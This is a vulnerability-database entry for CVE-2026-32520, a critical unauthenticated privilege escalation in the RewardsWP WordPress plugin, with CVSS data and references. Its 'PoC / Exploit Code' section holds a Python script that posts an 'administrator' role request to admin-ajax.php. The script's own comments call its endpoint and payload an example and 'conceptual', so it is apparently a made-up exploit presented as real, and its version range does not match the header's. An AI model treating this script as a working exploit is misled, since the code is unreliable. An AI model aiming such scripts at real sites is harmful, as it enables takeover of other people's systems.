CVE-2026-32520

Description

Incorrect Privilege Assignment vulnerability in Andrew Munro / AffiliateWP RewardsWP rewardswp allows Privilege Escalation.This issue affects RewardsWP: from n/a through <= 1.0.4.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

RewardsWP <= 1.0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Exploit Title: RewardsWP < 1.0.4 - Unauthenticated Privilege Escalation
# Date: 2026-03-25
# Exploit Author: Researcher
# Vendor Homepage: https://rewardswp.com/
# Software Link: https://wordpress.org/plugins/rewardswp/
# Version: <= 1.0.4
# Tested on: WordPress 6.x

import requests

def exploit(url):
    # Target endpoint (example, actual endpoint depends on plugin implementation)
    target_url = f"{url}/wp-admin/admin-ajax.php"
    
    # Payload to escalate privileges (conceptual)
    payload = {
        "action": "rewardswp_sensitive_action", 
        "role": "administrator",
        "user_id": 1 # or target user creation logic
    }
    
    try:
        response = requests.post(target_url, data=payload)
        if response.status_code == 200 and "success" in response.text:
            print(f"[+] Exploit successful! Check {url}/wp-admin")
        else:
            print("[-] Exploit failed or target not vulnerable.")
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    target = "http://localhost"
    exploit(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-32520
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-32520
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-32520/
[4] VulDB https://vuldb.com/cve/CVE-2026-32520
[5] https://patchstack.com/database/Wordpress/Plugin/rewardswp/vulnerability/wordpress-rewardswp-plugin-1-0-4-privilege-escalation-vulnerability?_s_id=cve

Raw JSON Data

JSON

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